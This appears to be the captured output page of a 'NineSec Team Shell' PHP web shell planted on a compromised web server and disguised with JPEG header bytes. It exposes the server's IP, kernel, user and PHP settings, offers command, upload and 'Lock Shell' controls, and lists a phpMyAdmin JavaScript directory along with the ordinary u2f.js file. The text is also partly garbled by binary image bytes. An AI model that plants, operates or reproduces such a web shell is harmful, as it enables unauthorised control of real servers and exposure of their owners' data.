�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /home/readytorun/domains/demo.readytorun.it/public_html/phmad/themes/metro/../../js/dist/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/readytorun/domains/demo.readytorun.it/public_html/phmad/themes/metro/../../js/dist/u2f.js
/* global u2f */
// js/vendor/u2f-api-polyfill.js
AJAX.registerOnload('u2f.js', function () {
  var $inputReg = $('#u2f_registration_response');

  if ($inputReg.length > 0) {
    var $formReg = $inputReg.parents('form');
    $formReg.find('input[type=submit]').hide();
    setTimeout(function () {
      // A magic JS function that talks to the USB device. This function will keep polling for the USB device until it finds one.
      var request = JSON.parse($inputReg.attr('data-request'));
      u2f.register(request.appId, [request], JSON.parse($inputReg.attr('data-signatures')), function (data) {
        // Handle returning error data
        if (data.errorCode && data.errorCode !== 0) {
          switch (data.errorCode) {
            case 5:
              Functions.ajaxShowMessage(Messages.strU2FTimeout, false, 'error');
              break;

            case 4:
              Functions.ajaxShowMessage(Messages.strU2FErrorRegister, false, 'error');
              break;

            case 3:
              Functions.ajaxShowMessage(Messages.strU2FInvalidClient, false, 'error');
              break;

            case 2:
              Functions.ajaxShowMessage(Messages.strU2FBadRequest, false, 'error');
              break;

            default:
              Functions.ajaxShowMessage(Messages.strU2FUnknown, false, 'error');
              break;
          }

          return;
        } // Fill and submit form.


        $inputReg.val(JSON.stringify(data));
        $formReg.trigger('submit');
      });
    }, 1000);
  }

  var $inputAuth = $('#u2f_authentication_response');

  if ($inputAuth.length > 0) {
    var $formAuth = $inputAuth.parents('form');
    $formAuth.find('input[type=submit]').hide();
    setTimeout(function () {
      // Magic JavaScript talking to your HID
      // appid, challenge, authenticateRequests
      var request = JSON.parse($inputAuth.attr('data-request'));
      u2f.sign(request[0].appId, request[0].challenge, request, function (data) {
        // Handle returning error data
        if (data.errorCode && data.errorCode !== 0) {
          switch (data.errorCode) {
            case 5:
              Functions.ajaxShowMessage(Messages.strU2FTimeout, false, 'error');
              break;

            case 4:
              Functions.ajaxShowMessage(Messages.strU2FErrorAuthenticate, false, 'error');
              break;

            case 3:
              Functions.ajaxShowMessage(Messages.strU2FInvalidClient, false, 'error');
              break;

            case 2:
              Functions.ajaxShowMessage(Messages.strU2FBadRequest, false, 'error');
              break;

            default:
              Functions.ajaxShowMessage(Messages.strU2FUnknown, false, 'error');
              break;
          }

          return;
        } // Fill and submit form.


        $inputAuth.val(JSON.stringify(data));
        $formAuth.trigger('submit');
      });
    }, 1000);
  }
});

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
September 11 2024 5:18:57
readytorun
0755
codemirror
--
September 11 2024 5:18:57
readytorun
0755
database
--
September 11 2024 5:18:57
readytorun
0755
designer
--
September 11 2024 5:18:57
readytorun
0755
jqplot
--
September 11 2024 5:18:57
readytorun
0755
server
--
September 11 2024 5:18:57
readytorun
0755
setup
--
September 11 2024 5:18:57
readytorun
0755
table
--
September 11 2024 5:18:57
readytorun
0755
transformations
--
September 11 2024 5:18:57
readytorun
0755
.htaccess
0.124 KB
November 14 2025 9:26:18
readytorun
0444
ajax.js
28.882 KB
August 28 2023 5:04:09
readytorun
0777
chart.js
16.757 KB
August 28 2023 5:04:09
readytorun
0777
common.js
4.441 KB
August 28 2023 5:04:09
readytorun
0777
config.js
23.498 KB
August 28 2023 5:04:09
readytorun
0777
console.js
48.097 KB
August 28 2023 5:04:09
readytorun
0777
cross_framing_protection.js
0.395 KB
August 28 2023 5:04:09
readytorun
0777
doclinks.js
17.849 KB
August 28 2023 5:04:09
readytorun
0777
drag_drop_import.js
12.057 KB
August 28 2023 5:04:09
readytorun
0777
error_report.js
9.072 KB
August 28 2023 5:04:09
readytorun
0777
export.js
30.648 KB
August 28 2023 5:04:08
readytorun
0777
export_output.js
0.355 KB
August 28 2023 5:04:09
readytorun
0777
functions.js
141.7 KB
August 28 2023 5:04:09
readytorun
0777
gis_data_editor.js
13.236 KB
August 28 2023 5:04:09
readytorun
0777
home.js
5.156 KB
August 28 2023 5:04:09
readytorun
0777
import.js
5.5 KB
August 28 2023 5:04:09
readytorun
0777
indexes.js
25.809 KB
August 28 2023 5:04:09
readytorun
0777
jquery.sortable-table.js
9.261 KB
August 28 2023 5:04:08
readytorun
0777
keyhandler.js
2.918 KB
August 28 2023 5:04:09
readytorun
0777
makegrid.js
77.765 KB
August 28 2023 5:04:09
readytorun
0777
menu_resizer.js
5.587 KB
August 28 2023 5:04:08
readytorun
0777
multi_column_sort.js
1.251 KB
August 28 2023 5:04:09
readytorun
0777
name-conflict-fixes.js
0.042 KB
August 28 2023 5:04:08
readytorun
0777
navigation.js
51.371 KB
August 28 2023 5:04:09
readytorun
0777
normalization.js
23.597 KB
August 28 2023 5:04:09
readytorun
0777
ol.js
1.421 KB
August 28 2023 5:04:09
readytorun
0777
page_settings.js
1.508 KB
August 28 2023 5:04:09
readytorun
0777
replication.js
3.46 KB
August 28 2023 5:04:09
readytorun
0777
shortcuts_handler.js
3.233 KB
August 28 2023 5:04:09
readytorun
0777
sql.js
34.288 KB
August 28 2023 5:04:09
readytorun
0777
u2f.js
2.869 KB
August 28 2023 5:04:09
readytorun
0777

NineSec Team - 2022